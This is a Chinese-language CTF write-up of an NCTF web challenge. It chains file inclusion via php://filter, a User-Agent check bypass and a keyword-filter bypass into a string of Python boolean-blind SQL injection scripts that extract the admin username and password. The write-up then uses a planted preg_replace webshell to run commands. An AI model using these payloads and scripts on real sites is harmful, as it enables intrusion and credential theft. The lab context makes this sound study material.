NCTF 综合题2

2018/08/19 CTF CTF 11981 words views

nctf 上的一道题目,需要挺多技巧的,感觉不错,所以单独拿出来分析一下。

step1 不断尝试

首先我在留言板里面随便输入一些东西,会弹窗提示你看源码。
查看源码,会 get 到:
http://cms.nuptzj.cn/about.php?file=sm.txt
感觉并没有什么卵用。

再回到题目的页面,点击搜索http://cms.nuptzj.cn/so.php会得到页面的提示万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~.

step2 搞点有用的

我们在第一步只知道那么多,下面我们利用已有的来获取更多的信息。用 php://filter 来获取 so.php 的源码。

http://cms.nuptzj.cn/about.php?file=php://filter/convert.base64-encode/resource=so.php
//so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>搜索留言</title>
</head>

<body>
<center>
<div id="say" name="say" align="left" style="width:1024px">
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id); //<---
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
</div>
</center>
</body>
</html>

注意这句 $_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser",掌握了 UA 信息,在请求头中加上 User-Agent: Xlcteam Browser 就可成功去访问了

再看下这句$result=mysql_query("SELECT * FROM message WHERE display=1 AND id=$id");,这里没有过滤表示这里我们可以注入。

但是这里包含了 antiinject.phpantixss.php 应该是 waf,我们再来看下源码。

//antiinject.php
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

可以看到 waf 对很多字符进行了过滤,下面主要就是想着怎么绕过的问题了。这里可以通过双写轻易绕过。注意一下这里的空格也给过滤掉了。

通过尝试我们发现这里是布尔盲注:

soid=1/**/aandnd/**/length(database())>1#

当为真的时候: Content-Length: 1046

soid=1/**/aandnd/**/length(database())>100#

当为假的时候: Content-Length: 425

根据我之前写的那篇布尔盲注的套路,可以写出脚本来查找我们的目标数据。

1.猜数据库长度

payload:soid=1/**/aandnd/**/length(database())>100#

#encoding: utf-8
import requests

rq = requests.session()

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/length(database())>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

for i in range(30,0,-1):
    soid = payload.format(i)
    data = {'soid':soid}
    print(soid)
    response = rq.post(url, data=data, headers=headers)
    if len(response.text) > 1000:
        print(i+1)
        break

=> 数据库长度是: 15

2.猜数据库名

payload:soid=1/**/aandnd/**/(ascii(substr((seselectlect/**/database()),{},1)))>{}#

#encoding: utf-8
import requests
import string

rq = requests.session()
s = string.printable

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(ascii(substr((seselectlect/**/database()),{},1)))>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

database = ""
database_len = 15
for i in range(1, database_len+1):
    left = 9
    right = 126
    mid = (left + right) // 2
    while left < right-1:
        soid = payload.format(i, mid)
        data = {'soid':soid}
        response = rq.post(url, data=data, headers=headers)
        print(soid)
        if len(response.text) > 1000:
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    database += chr(right)
    print(database)
print(database)

=> 数据库名是: sae-exploitblog

3.猜数据库中表的数量

payload:soid=1/**/aandnd/**/(seselectlect/**/cocountunt(table_nanameme)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())>{}#

#encoding: utf-8
import requests

rq = requests.session()

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(seselectlect/**/cocountunt(table_nanameme)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database())>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

for i in range(10,0,-1):
    soid = payload.format(i)
    data = {'soid':soid}
    print(soid)
    response = rq.post(url, data=data, headers=headers)
    if len(response.text) > 1000:
        print(i+1)
        break

=> 表的数量是: 4

4.猜表的长度

payload:1/**/aandnd/**/(seselectlect/**/length(table_nanameme)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>{}#

#encoding: utf-8
import requests

rq = requests.session()

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(seselectlect/**/length(table_nanameme)/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

for i in range(30,0,-1):
    soid = payload.format(i)
    data = {'soid':soid}
    print(soid)
    response = rq.post(url, data=data, headers=headers)
    if len(response.text) > 1000:
        print(i+1)
        break

=>
1) 第一个表的长度为 5 (limit 0,1):
2) 第二个表的长度为 8 (limit 1,1):
3) 第三个表的长度为 8 (limit 2,1):
4) 第三个表的长度为 7 (limit 3,1):

5.猜表名

payload:1/**/aandnd/**/(ascii(substr((seselectlect/**/table_nanameme/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),{},1)))>{}#

#encoding: utf-8
import requests
import string

rq = requests.session()
s = string.printable

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(ascii(substr((seselectlect/**/table_nanameme/**/frfromom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1),{},1)))>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

table = ""
table_len = 5
for i in range(1, table_len+1):
    left = 9
    right = 126
    mid = (left + right) // 2
    while left < right-1:
        soid = payload.format(i, mid)
        data = {'soid':soid}
        response = rq.post(url, data=data, headers=headers)
        print(soid)
        if len(response.text) > 1000:
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    table += chr(right)
    print(table)
print(table)

=>
1) 第一个表名为 admin (limit 0,1):
2) 第二个表名为 filename (limit 1,1):
3) 第三个表名为 hackerip (limit 2,1):
4) 第三个表名为 message (limit 3,1):

6.猜字段数量(admin 表)

其实基本和猜表那部分没什么区别,为了内容的完整性这里也是写出来。
这里要注意一下单引号被过滤了,所以要进行 16 进制转码。
payload:soid=1/**/aandnd/**/(seselectlect/**/cocountunt(column_nanameme)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e)>{}#

#encoding: utf-8
import requests

rq = requests.session()

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(seselectlect/**/cocountunt(column_nanameme)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e)>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

for i in range(10,0,-1):
    soid = payload.format(i)
    data = {'soid':soid}
    print(soid)
    response = rq.post(url, data=data, headers=headers)
    if len(response.text) > 1000:
        print(i+1)
        break

=> 字段的数量是: 3

7.猜字段的长度(admin 表)

payload:1/**/aandnd/**/(seselectlect/**/length(column_nanameme)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e/**/limit/**/0,1)>{}#

#encoding: utf-8
import requests

rq = requests.session()

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(seselectlect/**/length(column_nanameme)/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e/**/limit/**/0,1)>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

for i in range(30,0,-1):
    soid = payload.format(i)
    data = {'soid':soid}
    print(soid)
    response = rq.post(url, data=data, headers=headers)
    if len(response.text) > 1000:
        print(i+1)
        break

=>
1) 第一个字段的长度为 2 (limit 0,1):
2) 第二个字段的长度为 8 (limit 1,1):
3) 第三个字段的长度为 8 (limit 2,1):

8.猜字段名(admin 表)

payload:1/**/aandnd/**/(ascii(substr((seselectlect/**/column_nanameme/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e/**/limit/**/0,1),{},1)))>{}#

#encoding: utf-8
import requests
import string

rq = requests.session()
s = string.printable

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(ascii(substr((seselectlect/**/column_nanameme/**/frfromom/**/infoorrmation_schema.columns/**/where/**/table_schema/**/like/**/database()/**/aandnd/**/table_nanameme/**/like/**/0x61646d696e/**/limit/**/0,1),{},1)))>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

column = ""
column_len = 2
for i in range(1, column_len+1):
    left = 9
    right = 126
    mid = (left + right) // 2
    while left < right-1:
        soid = payload.format(i, mid)
        data = {'soid':soid}
        response = rq.post(url, data=data, headers=headers)
        print(soid)
        if len(response.text) > 1000:
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    column += chr(right)
    print(column)
print(column)

=>
1) 第一个字段名为 id (limit 0,1):
2) 第二个字段名为username (limit 1,1):
3) 第三个字段名为 userpass (limit 2,1):

9.查找目标数据(admin 表)

payload:soid=1/**/aandnd/**/(ascii(substr((seselectlect/**/group_concat(usernanameme,0x2b,userppassass,0x2b)/**/frfromom/**/adadminmin),{},1)))>{}#

#encoding: utf-8
import requests
import string

rq = requests.session()
s = string.printable

url = "http://cms.nuptzj.cn/so.php"
payload = "1/**/aandnd/**/(ascii(substr((seselectlect/**/group_concat(usernanameme,0x2b,userppassass,0x2b)/**/frfromom/**/adadminmin),{},1)))>{}#"
headers = {'User-Agent': 'Xlcteam Browser'}

target = ""
target_len = 100
for i in range(1, target_len+1):
    left = 9
    right = 126
    mid = (left + right) // 2
    while left < right-1:
        soid = payload.format(i, mid)
        data = {'soid':soid}
        response = rq.post(url, data=data, headers=headers)
        print(soid)
        if len(response.text) > 1000:
            left = mid
        else:
            right = mid
        mid = (left + right) // 2
    target += chr(right)
    print(target)
print(target)

=>目标数据

admin+102 117 99 107 114 117 110 116 117+

102 117 99 107 114 117 110 116 117 ---> fuckruntu

10.其余表数据(filename 表)

filename 表:id,name,path
name字段:conpass.php,arlogined.php
path字段:./conpass.php,./arlogined.php

./conpass.php./arlogined.php 可能是后台地址,但是我们直接访问的话会 404。

step3 别放弃,继续

在第一步我们还有 about.php 源码还没有读,我们来看看 about.php 的源码:

//about.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
$file=$_GET['file'];
if($file=="" || strstr($file,'config.php')){
echo "file参数不能为空!";
exit();
}else{
$cut=strchr($file,"loginxlcteam");
if($cut==false){
$data=file_get_contents($file);
$date=htmlspecialchars($data);
echo $date;
}else{
echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
}
}

loginxlcteam看到了这个是敏感目录,好了,应该就是它了。

尝试去访问http://cms.nuptzj.cn/loginxlcteam/conpass.php,使用之前获得adminfuckruntu成功登录后台。

===>

因为程序猿连后台都懒得开发了,为了方便管理,他邪恶地放了一个一句话木马在网站的根目录下
小马的文件名为:xlcteam.php
//xlcteam.php
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

这种一句话的利用方式就是让www=preg_replace,然后wtf参数传入可执行语句。(⭐️至于原理并没有彻底理解)

1.phpinfo()

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post: wtf=phpinfo();

2.print_r(scandir(‘./’));

http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post: wtf=print_r(scandir('./'));

回显

Array
(
    [0] => .
    [1] => ..
    [2] => about.php
    [3] => antiinject.php
    [4] => antixss.php
    [5] => config.php
    [6] => index.php
    [7] => list.php
    [8] => loginxlcteam
    [9] => passencode.php
    [10] => preview.php
    [11] => say.php
    [12] => sm.txt
    [13] => so.php
    [14] => xlcteam.php
    [15] => 恭喜你获得flag2.txt
)

打完收工……

参考

南邮攻防训练平台Writeup


上一篇: sqlmap系列(一)
下一篇: wechall writeup

Search

    Table of Contents